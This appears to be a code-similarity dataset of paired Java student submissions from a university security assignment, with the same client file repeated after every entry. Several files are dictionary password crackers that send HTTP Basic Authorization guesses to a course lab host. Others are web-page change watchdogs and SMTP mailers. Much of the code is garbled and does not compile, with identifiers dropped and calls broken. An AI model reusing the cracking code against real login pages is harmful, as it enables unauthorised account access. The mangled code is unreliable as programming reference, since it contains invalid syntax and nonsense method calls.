java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
133.java
201.java
0
import java.net.*; import java.io.*; public class Dictionary { private String myUsername = ""; private String myPassword = ""; private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2"; public static void main (String args[]) { Dictionary d = new Dictionary(); } public Dictionary() { generatePassword(); } public void generatePassword() { try { BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); { myPassword = bf.readLine(); crackPassword(myPassword); } while (myPassword != null); } catch(IOException e) { } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + ":" + passwordToCrack; encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty ("Authorization", " " + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader (isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println("\nThe cracked password is : " + foundPassword); System.exit(0); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
174.java
201.java
0
import java.util.*; import java.io.*; public class MyTimer { public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
218.java
201.java
0
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { Process p1,p2,p3,p4,p5; for(;;) { String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"}; String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; Process p = Runtime.getRuntime().exec("mkdir predir"); p.waitFor(); Process p1 = Runtime.getRuntime().exec("mkdir postdir"); p1.waitFor(); p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process q2 = Runtime.getRuntime().exec(s2); q2.waitFor(); Process q3 = Runtime.getRuntime().exec(s3); q2.waitFor(); Thread.sleep(86400000); p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process q4 = Runtime.getRuntime().exec(s4); q4.waitFor(); Process q5 = Runtime.getRuntime().exec(s5); q5.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s6); DataInputStream inp1 = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("The WatchDog - Returns 0 if change else 1"); System.out.println("Value :" + p4.exitValue()); try { while ((str = inp1.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e ) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("change.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream inp2 = new DataInputStream(p5.getInputStream()); p5.waitFor(); try { while ((str1 = inp2.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException exp) { exp.printStackTrace(); } } } } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
250.java
201.java
0
class C { private static byte[] cvtTable = { (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', (byte)'Z', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', (byte)'z', (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'+', (byte)'/' }; static String encode(String name, String passwd) { byte input[] = (name + ":" + passwd).getBytes(); byte[] output = new byte[((input.length / 3) + 1) * 4]; int ridx = 0; int chunk = 0; for (int i = 0; i < input.length; i += 3) { int left = input.length - i; if (left > 2) { chunk = (input[i] << 16)| (input[i + 1] << 8) | input[i + 2]; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = cvtTable[(chunk&0x3F)]; } else if (left == 2) { chunk = (input[i] << 16) | (input[i + 1] << 8); output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; output[ridx++] = '='; } else { chunk = input[i] << 16; output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; output[ridx++] = '='; output[ridx++] = '='; } } return new String(output); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
152.java
201.java
0
import java.net.*; import java.io.IOException; import java.util.*; import java.io.*; public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length < 1) { System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { System.err.println(e.getMessage()); System.exit(1); } finally { try { inFile.close(); } catch (IOException ex) {ex.printStackTrace();} } } private static void breakPassword (BufferedReader file) throws IOException { String password=" "; userName=""; boolean found= false; MyHttpURLConnection httpURLConnection; String passBase64=" "; urlAuthenticator = new URLAuthenticator(userName); HttpURLConnection u=null; String input; try { url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); } catch (MalformedURLException e){ } catch (IOException io) {io.printStackTrace();} while (( input = file.readLine()) != null) { if (input.length() <=3) { password = input; password =":"+ password; try { u = (HttpURLConnection)url.openConnection(); passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes()); u.setRequestProperty("Authorization", " " + passBase64); u.connect(); noOfAttempts++; if (u.getContentLength() != 0) { if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) { found=true; System.out.println("Your User Name : Password Combination is :"+password+ " "+ " Found by Thread"); System.out.println(" "); System.out.println(" of Attempts / Requests "+ noOfAttempts); System.exit(0); } } } catch (ProtocolException px) {px.printStackTrace(); } catch (BindException e){e.printStackTrace(); } catch (IndexOutOfBoundsException e3){e3.printStackTrace(); } catch (IOException io) {io.printStackTrace(); } finally {u.disconnect(); } } } } } class URLAuthenticator extends Authenticator { private String uName; String passwd; static private char[] password; public URLAuthenticator(String uName) { this.uName = uName; } public void setPassword(String passwd) { this.passwd=passwd; password=passwd.toCharArray(); } public PasswordAuthentication getPasswordAuthentication() { PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password); return passwordAuthentication; } } class MyHttpURLConnection extends HttpURLConnection { public MyHttpURLConnection(URL url) { super(url); } public void disconnect() { } public boolean usingProxy() { return true; } public void connect() { } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
187.java
201.java
0
import java.net.*; import java.io.*; import java.util.Date; public class MyMail implements Serializable { public static final int SMTPPort = 25; public static final char successPrefix = '2'; public static final char morePrefix = '3'; public static final char failurePrefix = '4'; private static final String CRLF = "\r\n"; private String mailFrom = ""; private String mailTo = ""; private String messageSubject = ""; private String messageBody = ""; private String mailServer = ""; public MyMail () { super(); } public MyMail ( String serverName) { super(); mailServer = serverName; } public String getFrom() { return mailFrom; } public String getTo() { return mailTo; } public String getSubject() { return messageSubject; } public String getMessage() { return messageBody; } public String getMailServer() { return mailServer; } public void setFrom( String from ) { mailFrom = from; } public void setTo ( String To ) { mailTo = To; } public void setSubject ( String subject ) { messageSubject = subject; } public void setMessage ( String msg ) { messageBody = msg; } public void setMailServer ( String server ) { mailServer = server; } private boolean responseValid( String response ) { if (response.indexOf(" ") == -1) return false; String cad = response.substring( 0, response.indexOf(" ")); cad = cad.toUpperCase(); if (( cad.charAt(0) == successPrefix ) || ( cad.charAt(0) == morePrefix ) ) return true; else return false; } public void sendMail() { try { String response; Socket mailSock = new Socket (mailServer, SMTPPort); BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream())); PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream())); System.out.println("1"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); try { InetAddress addr = InetAddress.getLocalHost(); String localHostname = addr.getHostName(); pout.print ("HELO " + localHostname + CRLF); } catch (UnknownHostException uhe) { pout.print ("HELO myhostname" + CRLF); } pout.flush(); System.out.println("2"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("MAIL From:<" + mailFrom + ">"); pout.flush(); System.out.println("3"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("RCPT :<" + mailTo + ">"); pout.flush(); System.out.println("4"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("DATA"); pout.flush(); System.out.println("5"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("From: " + mailFrom); pout.println (": " + mailTo); pout.println ("Subject: " + messageSubject); pout.println (); pout.println (messageBody); pout.println (".\n\r"); pout.flush(); System.out.println("6"); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException("ERR - " + response); pout.println ("QUIT"); pout.flush(); mailSock.close(); } catch (IOException ioe) { System.out.println(ioe.getMessage()); } } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
205.java
201.java
0
import java.util.*; import java.io.*; public class DicReader { private Vector v; public DicReader( String fileName) { boolean flag = true; String line; v = new Vector( 50); try { BufferedReader in = new BufferedReader( new FileReader( fileName)); while(( line = in.readLine()) != null) { flag = true; if( line.length() > 0 && line.length() < 4 ) { for( int i = 0; i < line.length(); i++) { if( Character.isLetter( line.charAt( i)) == false) { flag = false; } } if( flag == true) { v.add( line); } } } in.print(); } catch( IOException e) { System.out.println( " not open the file!"); System.exit( 0); } } public Vector getVictor() { return v; } public static void main ( String [] args) { DicReader fr = new DicReader( "/usr/share/lib/dict/words"); System.out.println( " far "+fr.getVictor().size()+" combinations loaded"); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
203.java
201.java
0
import java.net.*; import java.io.*; import java.util.*; public class MailClient { private String host; private int port; private String message; public MailClient( String host, int port, Vector lineNumbers) { this.host = host; this.port = port; StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n "); for( int i = 0; i < lineNumbers.size(); i++) { buf.append( lineNumbers.elementAt( i)); buf.append(", "); } message = buf.toString(); } public void connect() { try { Socket client = new Socket( host, port); handleConnection( client); } catch ( UnknownHostException uhe) { System.out.println("Unknown host: " + host); uhe.printStackTrace(); } catch (IOException ioe) { System.out.println("IOException: " + ioe); ioe.printStackTrace(); } } private void handleConnection(Socket client) { try { PrintWriter out = new PrintWriter( client.getOutputStream(), true); InputStream in = client.getInputStream(); byte[] response = new byte[1000]; in.send( response); out.println("HELO "+host); int numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("MAIL FROM: [email protected]."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("RCPT : @cs.rmit.edu."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("DATA"); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println( message+"\n."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("QUIT"); client.connect(); } catch(IOException ioe) { System.out.println("Couldn't make connection:" + ioe); } } public static void main( String[] args) { Vector v = new Vector(); v.add( new Integer(5)); v.add( new Integer(12)); MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v); c.connect(); } }
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println("'t open stream"); } try { s.connect(); }catch( IOException e) { System.out.println("'t connection"); System.exit(0); } } public getTime() { return myTime; } }
095.java
201.java
0
import java.net.*; import java.io.*; import java.util.*; import java.text.*; public class WatchDog extends Thread { private HttpURLConnection httpUrlCon; private URL stdurl; private String spec = "http://www.cs.rmit.edu./students/"; private String command=""; private String firstModified =""; private String secModified = ""; private String fileModified = ""; private BufferedReader instd; private Vector firstVector; private Vector secondVector; private Vector tmpVector; private int intervalTime = 24*60*60*1000; private boolean bstop = false; private int count = 0; private int totalDuration = 30*24*60*60*1000; private String yourSMTPserver = "mail.rmit.edu."; private int smtpPort = 25; private String mailFrom = "@yallara.cs.rmit.edu."; private String mailTo = "@.rmit.edu."; private String subject = ""; private String message =""; private Socket socketsmtp; private BufferedReader emailin; private PrintStream emailout; private String reply = ""; public WatchDog(){ firstVector = new Vector(); secondVector = new Vector(); tmpVector = new Vector(); } public void FirstRead(){ readContent(firstVector); firstModified = fileModified; } public void run(){ while(!bstop){ readPageAgain(); } } public void readPageAgain(){ try{ Thread.sleep(intervalTime); }catch(InterruptedException e){e.printStackTrace();} count += intervalTime; readContent(secondVector); secModified = fileModified; if(firstModified.equals(secModified)){ if(count == totalDuration) bstop =true; message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!"; subject = " is change the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch (SMTPException e){} } else if(!(firstModified.equals(secModified))){ if(count == totalDuration) bstop = true; message = getChangeMessage(); subject = " some changes the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch(SMTPException e){} firstModified = secModified; firstVector.clear(); for(int i=0; i<secondVector.size(); i++){ firstVector.add((String)secondVector.get(i)); } } } public void readContent(Vector avect){ String fmod =""; if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){ fmod = "File last modified :"; command = "lynx -nolist -dump " + spec; } else { fmod = "Last-Modified:"; command ="lynx -mime_header -dump " +spec; } try{ Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); instd = new BufferedReader(new InputStreamReader(p.getInputStream())); String str=null; avect.clear(); while((str = instd.readLine())!= null){ avect.add(str); if(str.indexOf(fmod) !=-1){ fileModified = str; } } instd.print(); }catch(MalformedURLException e){System.out.println(e.getMessage());} catch(IOException e1){System.out.println(e1.getMessage());} } public String getChangeMessage(){ String mssg = ""; for(int i =0; i<secondVector.size();i++){ tmpVector.add((String)secondVector.get(i)); } for(int i=0; i<firstVector.size(); i++){ String line = (String)(firstVector.get(i)); int same = 0; for(int j=0; j<tmpVector.size(); j++){ String newline = 